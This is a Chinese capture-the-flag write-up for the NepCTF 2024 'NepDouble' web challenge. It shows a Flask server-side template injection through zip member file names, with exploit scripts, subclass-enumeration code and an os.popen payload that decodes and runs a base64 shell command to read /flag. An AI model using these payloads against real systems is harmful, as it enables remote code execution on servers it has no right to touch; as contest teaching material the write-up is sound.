Nepctf2024-Web-NepDouble

一、题目
题目:NepDouble
题目描述:
二、WriteUp
1. 源码分析
# /
@app.route('/', methods=['GET', 'POST'])
def main():
    if request.method != "POST":
        return 'Please use POST method to upload files.'
    try:
        clear_uploads_folder()
        files = request.files.get('tp_file', None)
        if not files:
            return 'No file uploaded.'

        file_size = len(files.read())
        files.seek(0)

        file_extension = files.filename.rsplit('.', 1)[-1].lower()      # 判断是否为zip
        if file_extension != 'zip':
            return 'Invalid file type. Please upload a .zip file.'

        timestamp = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
        md5_dir_name = hashlib.md5(timestamp.encode()).hexdigest()
        unzip_folder = os.path.join(app.config['UPLOAD_FOLDER'], md5_dir_name)
        os.makedirs(unzip_folder, exist_ok=True)        # 创建时间戳md5文件夹

        with ZipFile(files) as zip_file:
            zip_file.extractall(path=unzip_folder)      # 解压文件

        files_list = []
        for root, dirs, files in os.walk(unzip_folder):
            for file in files:
                print(file)
                file_path = os.path.join(root, file)
                relative_path = os.path.relpath(file_path, app.config['UPLOAD_FOLDER'])
                link = f'<a href="/cat?file={relative_path}">{file}</a>'
                files_list.append(link)

        return render_template_string('<br>'.join(files_list))          # 漏洞函数
    except ValueError:
        return 'Invalid filename.'    
    except Exception as e:
        return 'An error occurred. Please check your file and try again.'
2. 功能测试
# 上传zip
import requests

file_path = './test.zip'
url = 'https://neptune-59769.nepctf.lemonprefect.cn/'

with open(file_path, 'rb') as f:
    files = {'tp_file': (file_path.split('/')[-1], f, 'application/zip')}
    response = requests.post(url, files=files)
print(response.text)
3. 访问<a href="/cat?file=5d547db16cff3d5848781938e9ec70ce/zipfile/1.jpg">1.jpg</a>
/cat?file=5d547db16cff3d5848781938e9ec70ce/zipfile/1.jpg
即得到文件内容
4. 漏洞函数
return render_template_string('<br>'.join(files_list))          # 漏洞函数
在渲染文件名时 可以进行python ssti模板注入
5. exp
# 测试版本 
import requests
import zipfile
import os
import re
import html

content_payload = 'whatever'
file_name = input("input filename:")    # 输入自定义
zip_file_name = 'payload.zip'
file_path = './payload.zip'
url = 'https://neptune-60709.nepctf.lemonprefect.cn'

with open(file_name, 'w') as f:
    f.write(content_payload)

with zipfile.ZipFile(zip_file_name, 'w') as zipf:
    zipf.write(file_name)

os.remove(file_name)

with open(file_path, 'rb') as f:
    files = {'tp_file': (file_path.split('/')[-1], f, 'application/zip')}
    response = requests.post(url, files=files)

os.remove(zip_file_name)
href = html.unescape(response.text)
print(href)
{{}}是表达式
# 可能的payload

{{''.__class__}}
{{''.__class__.__bases__[0].__subclasses__()[0].__init__.__globals__.keys()}}
{{''.__class__.__mro__[0].__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()[222].__init__}}   # <class 'warnings.catch_warnings'>
{{''.__class__.__mro__[1].__subclasses__()[209].__init__.__globals__.keys()}}
{{''.__class__.__mro__[1].__subclasses__()[209].__init__.__globals__["os"]["popen"]("ls").read()}}
{{''.__class__.__mro__[1].__subclasses__()[222].__init__.func_globals.values()[13]['eval']('__import__(\"os\").popen(\"ls\").read()')}}
# 测试哪些子类中包含os
import requests
import zipfile
import os
import re
import html

for i in range(1000):
    content_payload = 'whatever'
    file_name = "{{''.__class__.__mro__[1].__subclasses__()[" + str(i) +"].__init__.__globals__.keys()}}"
    zip_file_name = 'payload.zip'
    file_path = './payload.zip'
    url = 'https://neptune-42781.nepctf.lemonprefect.cn'

    with open(file_name, 'w') as f:
        f.write(content_payload)

    with zipfile.ZipFile(zip_file_name, 'w') as zipf:
        zipf.write(file_name)

    os.remove(file_name)

    with open(file_path, 'rb') as f:
        files = {'tp_file': (file_path.split('/')[-1], f, 'application/zip')}
        response = requests.post(url, files=files)

    os.remove(zip_file_name)
    href = html.unescape(response.text)
    if "\'os\'" in href:
        # print(href)
        print(i)
{{''.__class__.__mro__[1].__subclasses__()[209].__init__.__globals__['os']['popen']('ls').read()}}
在文件系统中,斜杠 / 被用作路径分隔符,因此它不能作为文件名的一部分。如果您尝试创建一个包含 / 的文件名,将会引发 FileNotFoundError 或者其它错误。
import requests
import zipfile
import os
import re
import html

content_payload = 'whatever'
# 使用base64对/进行绕过,然后使用bash执行
file_name = "{{''.__class__.__mro__[1].__subclasses__()[209].__init__.__globals__['os']['popen']('echo Y2F0IC9mbGFn|base64 -d|bash').read()}}"
zip_file_name = 'payload.zip'
file_path = './payload.zip'
url = 'https://neptune-60709.nepctf.lemonprefect.cn'

with open(file_name, 'w') as f:
    f.write(content_payload)

with zipfile.ZipFile(zip_file_name, 'w') as zipf:
    zipf.write(file_name)

os.remove(file_name)

with open(file_path, 'rb') as f:
    files = {'tp_file': (file_path.split('/')[-1], f, 'application/zip')}
    response = requests.post(url, files=files)

os.remove(zip_file_name)
href = html.unescape(response.text)
print(href)
三、总结
四、参考链接

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值